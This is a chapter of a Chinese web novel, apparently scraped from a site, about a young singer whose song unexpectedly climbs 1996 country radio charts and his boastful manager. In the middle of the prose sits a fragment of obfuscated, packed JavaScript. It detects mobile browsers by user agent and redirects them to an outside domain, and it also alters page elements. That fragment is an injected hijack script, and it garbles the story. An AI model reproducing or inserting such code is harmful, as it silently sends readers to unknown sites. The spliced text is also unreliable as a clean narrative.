哪怕后街的成绩还是没有起色，他也舍不得放弃搞唱跳组合，阿尔文不愿意，但他或许可以找几个同样漂亮的男孩女孩们来跳啊。 当然，这是题外话。 在流行电台的好成绩让jive无比兴奋，但命运总爱在你以为一切已定之时，抛来一个超级…… 惊喜！ 是的，超级惊喜！不是惊吓！ 在流行电台的战场上这首单曲已初战告捷，可谁能想到在乡村电台的领地，《TheRide》的表现居然同样精彩！ 这完全超出了Jive唱片的预期！ 他们公司的人脉和资源只集中在流行与嘻哈上，或许还有点R&B，但乡村就完全是两眼一抹黑，毫无关系，这次的宣发资源和预期也都集中在Pop电台。 所以当纳什维尔的田纳西电台，以及北部如波士顿、布法罗等等这样极其权威的乡村电台也对《TheRide》表现出强烈兴趣时，jive唱片差点没接住天降资源。 好在卡拉格及时现身。或者说，这一切的幕后英雄正是这位传奇人物。 jive在乡村领域是门外汉，没什么资源，但卡拉格可不是，这才是他的舒适区。在提前拿到样品demo后，他便一直在全国到处巡飞、拿着阿尔文的专辑和资料，游走于关键电台的节目总监和音乐总监之间，凭借着天生的说服力和人脉，硬生生将歌曲塞进播放列表。 这个工作极度依赖口才与魅力，而卡拉格恰好是这方面天生的王者。 不同于面向大众的CHR流行电台，乡村电台拥有自己铁杆的听众群和浓厚的地域色彩。 1996年，正是乡村音乐商业化浪潮的巅峰，加拿大女歌手仙妮亚·唐恩的大胆跨界尝试让人眼前一亮，而加斯·布鲁克斯的传统风味又保留了原本的基调，二者相互结合，正将这个市场推向又一个高峰。 《TheRide》精准踩中了这股风口。 钢琴和吉他的清脆音色与叙事感的旋律完美交织，再加上歌词里不断前行的励志主题，刚好符合时代蓬勃的励志需求。还有层层递进的副歌和情绪，让人不自觉地就沉浸在歌手所塑造的氛围里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185451|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >它不只俘获了南部的传统乡村乐迷，还征服了都市和北部的潮流听众。再加上卡拉格这位专业人士的背书，绝大多数乡村电台都愿意给他一个相当好的推荐位。 “看看吧，他们是怎么夸你的！” 卡拉格得意地将一沓刚从传真机里吐出来，还带着温热的纸张递给阿尔文。 这些都是从全国各地发来的电台统计数据，还有乐评机构的抢先热评。 “我已经看过了。”这两天阿尔文已经将那些更新的报刊评论反复看了又看。 最初几天，每一次看到那些将他与巨星并列的溢美之词，都会让他耳根发热、脸红心跳，但看多了这种感觉便略有褪色。 不过没人会嫌夸奖多，阿尔文还是不自觉地接过。 “真的吗？”卡拉格不置可否，指了指标题：“你看看这是哪家报纸。” “哪家？”阿尔文不明白。 他低头去看，视线迅速扫过标题和加粗的引语，在看到那个熟悉的名字后，瞳孔不受控制地放大，终于知道卡拉格要他看什么了。 “R&R？！！！！” R&R，这可是R&R！《电台与唱片》！ 作为广播和音乐行业的圣经，电台与唱片的榜单排名就是硬通货，是衡量一首歌成败的终极标尺。而现在，他的歌正处于R&R乡村榜上，还是一个相当靠前的位置！ “上帝啊，这……这真是不可思议。”他轻声说，指尖划过纸上那一连串不断递增的数字，心跳不断加速，哪怕尽力克制，也压不住疯狂上扬的嘴角。 白纸黑字印证着他的音乐正跨越无形的界限，闯入一片他曾经幻想过，却没想到真的能够大放异彩的天地。 他喜欢自己的音乐，他爱这个，他也期待过拥有令人惊艳的成绩，但是当这一天真的来临时，还是让阿尔文的大脑有些发蒙。 这些都是真的吗？ 还是我在做梦？ 卡拉格对阿尔文那副恍然如梦的反应颇为受用。他这段时间东奔西走，身体比之前疲惫了很多，但精神却更加昂扬，甚至可以说得上一句容光焕发。 “小子，这才只是个开头，这样的日子以后还多着呢！” 他掸了掸烟灰，得意洋洋地吹嘘着自己说服电台的故事：“知道我怎么让那些电台总监答应的吗？我告诉他们，你会是下一个仙妮亚·唐恩！哈！还真别说，这招牌真是太好用了！” “纳什维尔那帮耳朵挑得要死的老家伙一听这个就全坐直了！再瞧瞧你的年纪，翻翻你的资料，个个眼里放光，一个个满意得不得了！” “仙妮亚·唐恩？”阿尔文被那夸张的表达逗笑。 他挑起眉，想起不久前克里夫·戴维斯那句“下一个惠特妮·休斯顿”的豪言，忍不住无语地摇摇头：“你们推销人的时候难道用的都是同一招吗？” 但他只是调侃，实际没有半分真正的埋怨。 拜托！那可是惠特尼·休斯顿和仙妮娅·唐恩！ 两个都是阿尔文非常非常喜欢的歌手，尤其是仙妮娅·唐恩，她去年发行的《Anymanofmine》已经被他重复播放过无数遍。 能够和这两位放在一起并排比较，他怎么可能会生气？只会偷着乐，半夜睡觉都要笑醒的！ 卡拉格自然能听出来小孩口气里隐隐的得意，哈哈大笑起来：“借个名号怎么了？这圈子里谁不想捧出个新星？只要你有这个实力，哪怕找到本人让他们给你推荐也不是做不到！” 诚然能获得大力支持是因为他的面子，但阿尔文本身的天才也不可忽视。 如果只拿着《TheRide》这首歌去要推荐位，未必所有人都会买单，但是加上专辑里其他质量同样优秀的几首歌，还有全部原创的标签，只能说没有人会拒绝在一个天才的成长期卖给他一个人情。 他说电台那些老家伙两眼放光可不是开玩笑。 更何况在相对封闭的乡村民谣领域，听来听去都是那几个人多没意思，谁不乐意看到又一颗乡村新星升起呢？懂得借力本身就是一种了不起的智慧。 “那真是太疯狂了……”阿尔文喃喃道。 事实上，卡拉格后面说了什么他一个字都没听进去。经纪人的声音变成模糊的背景音，他只知道兴奋了。 谁能抵抗成功带来的纯粹喜悦呢？ 惊喜如同层层推进的浪潮，一浪高过一浪，终于累积成歌曲中那段绚烂爆发的高潮。但是阿尔文并不满足，千言万语复杂的情绪汇聚成同一个念头。 他在心底虔诚地祈祷。 继续吧。 就这样继续吧。 让这美妙的一切永远不要停下。 但事实会如此吗？